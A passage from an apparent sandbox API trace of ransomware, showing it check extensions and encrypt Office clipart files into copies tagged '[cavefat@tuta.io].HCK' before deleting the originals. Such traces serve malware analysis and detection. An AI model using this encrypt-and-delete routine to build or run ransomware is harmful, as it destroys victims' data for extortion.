(lpString1=".rar", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString=".bz2") returned 4 [0243.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString=".7z") returned 3 [0243.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".dbf") returned 4 [0243.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".1cd") returned 4 [0243.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".jpg") returned 4 [0243.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.039] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.039] lstrlenW (lpString="J0187837.WMF") returned 12 [0243.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.040] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=16354) returned 1 [0243.040] CloseHandle (hObject=0x3bc) returned 1 [0243.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 0x220 [0243.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.041] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.041] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.042] GetLastError () returned 0x0 [0243.042] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x3fe2, lpOverlapped=0x0) returned 1 [0243.043] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x3ff0, lpOverlapped=0x0) returned 1 [0243.044] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.044] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.044] SetEndOfFile (hFile=0x56c) returned 1 [0243.044] CloseHandle (hObject=0x56c) returned 1 [0243.045] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.045] SetEndOfFile (hFile=0x3bc) returned 1 [0243.046] CloseHandle (hObject=0x3bc) returned 1 [0243.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString=".doc") returned 4 [0243.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString=".docx") returned 5 [0243.048] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0243.048] lstrlenW (lpString=".pdf") returned 4 [0243.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString=".xls") returned 4 [0243.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.048] lstrlenW (lpString=".xlsx") returned 5 [0243.048] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0243.048] lstrlenW (lpString=".ppt") returned 4 [0243.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString=".zip") returned 4 [0243.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.048] lstrlenW (lpString=".rar") returned 4 [0243.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString=".bz2") returned 4 [0243.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString=".7z") returned 3 [0243.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString=".dbf") returned 4 [0243.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString=".1cd") returned 4 [0243.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString=".jpg") returned 4 [0243.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.048] lstrlenW (lpString=".doc") returned 4 [0243.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.048] lstrlenW (lpString=".docx") returned 5 [0243.048] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0243.048] lstrlenW (lpString=".pdf") returned 4 [0243.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.049] lstrlenW (lpString=".xls") returned 4 [0243.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.049] lstrlenW (lpString=".xlsx") returned 5 [0243.049] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0243.049] lstrlenW (lpString=".ppt") returned 4 [0243.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.049] lstrlenW (lpString=".zip") returned 4 [0243.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.049] lstrlenW (lpString=".rar") returned 4 [0243.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.049] lstrlenW (lpString=".bz2") returned 4 [0243.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.049] lstrlenW (lpString=".7z") returned 3 [0243.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.049] lstrlenW (lpString=".dbf") returned 4 [0243.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.049] lstrlenW (lpString=".1cd") returned 4 [0243.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0243.049] lstrlenW (lpString=".jpg") returned 4 [0243.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.049] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.049] lstrlenW (lpString="J0187839.WMF") returned 12 [0243.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.050] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5372) returned 1 [0243.050] CloseHandle (hObject=0x3bc) returned 1 [0243.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 0x220 [0243.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.051] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.051] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.052] GetLastError () returned 0x0 [0243.052] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x14fc, lpOverlapped=0x0) returned 1 [0243.053] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1500, lpOverlapped=0x0) returned 1 [0243.053] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.053] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.054] SetEndOfFile (hFile=0x56c) returned 1 [0243.054] CloseHandle (hObject=0x56c) returned 1 [0243.054] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.054] SetEndOfFile (hFile=0x3bc) returned 1 [0243.056] CloseHandle (hObject=0x3bc) returned 1 [0243.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 1 [0243.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.057] lstrlenW (lpString=".doc") returned 4 [0243.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString=".docx") returned 5 [0243.057] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0243.057] lstrlenW (lpString=".pdf") returned 4 [0243.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString=".xls") returned 4 [0243.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.057] lstrlenW (lpString=".xlsx") returned 5 [0243.057] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0243.057] lstrlenW (lpString=".ppt") returned 4 [0243.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.057] lstrlenW (lpString=".zip") returned 4 [0243.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.057] lstrlenW (lpString=".rar") returned 4 [0243.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString=".bz2") returned 4 [0243.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString=".7z") returned 3 [0243.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.057] lstrlenW (lpString=".dbf") returned 4 [0243.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.057] lstrlenW (lpString=".1cd") returned 4 [0243.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString=".jpg") returned 4 [0243.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString=".doc") returned 4 [0243.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString=".docx") returned 5 [0243.058] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0243.058] lstrlenW (lpString=".pdf") returned 4 [0243.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString=".xls") returned 4 [0243.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.058] lstrlenW (lpString=".xlsx") returned 5 [0243.058] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0243.058] lstrlenW (lpString=".ppt") returned 4 [0243.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString=".zip") returned 4 [0243.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.058] lstrlenW (lpString=".rar") returned 4 [0243.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString=".bz2") returned 4 [0243.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString=".7z") returned 3 [0243.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString=".dbf") returned 4 [0243.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString=".1cd") returned 4 [0243.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0243.058] lstrlenW (lpString=".jpg") returned 4 [0243.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.058] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0243.058] lstrlenW (lpString="J0187847.WMF") returned 12 [0243.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.059] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7116) returned 1 [0243.059] CloseHandle (hObject=0x3bc) returned 1 [0243.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 0x220 [0243.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0243.061] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.061] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0243.062] GetLastError () returned 0x0 [0243.062] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1bcc, lpOverlapped=0x0) returned 1 [0243.063] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1bd0, lpOverlapped=0x0) returned 1 [0243.064] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.064] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.064] SetEndOfFile (hFile=0x56c) returned 1 [0243.064] CloseHandle (hObject=0x56c) returned 1 [0243.064] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.064] SetEndOfFile (hFile=0x3bc) returned 1 [0243.066] CloseHandle (hObject=0x3bc) returned 1 [0243.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0243.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.067] lstrlenW (lpString=".doc") returned 4 [0243.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.067] lstrlenW (lpString=".docx") returned 5 [0243.067] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0243.067] lstrlenW (lpString=".pdf") returned 4 [0243.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.067] lstrlenW (lpString=".xls") returned 4 [0243.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.067] lstrlenW (lpString=".xlsx") returned 5 [0243.067] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0243.067] lstrlenW (lpString=".ppt") returned 4 [0243.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.067] lstrlenW (lpString=".zip") returned 4 [0243.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.067] lstrlenW (lpString=".rar") returned 4 [0243.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.067] lstrlenW (lpString=".bz2") returned 4 [0243.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.067] lstrlenW (lpString=".7z") returned 3 [0243.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.067] lstrlenW (lpString=".dbf") returned 4 [0243.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".1cd") returned 4 [0243.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".jpg") returned 4 [0243.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".doc") returned 4 [0243.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString=".docx") returned 5 [0243.068] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0243.068] lstrlenW (lpString=".pdf") returned 4 [0243.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString=".xls") returned 4 [0243.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.068] lstrlenW (lpString=".xlsx") returned 5 [0243.068] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0243.068] lstrlenW (lpString=".ppt") returned 4 [0243.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".zip") returned 4 [0243.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.068] lstrlenW (lpString=".rar") returned 4 [0243.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString=".bz2") returned 4 [0243.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.068] lstrlenW (lpString=".7z") returned 3 [0243.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187847.WMF") returned 68 [0243.068] lstrlenW (lpString=".dbf") returned 4 [0243.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.068] lstrlenW 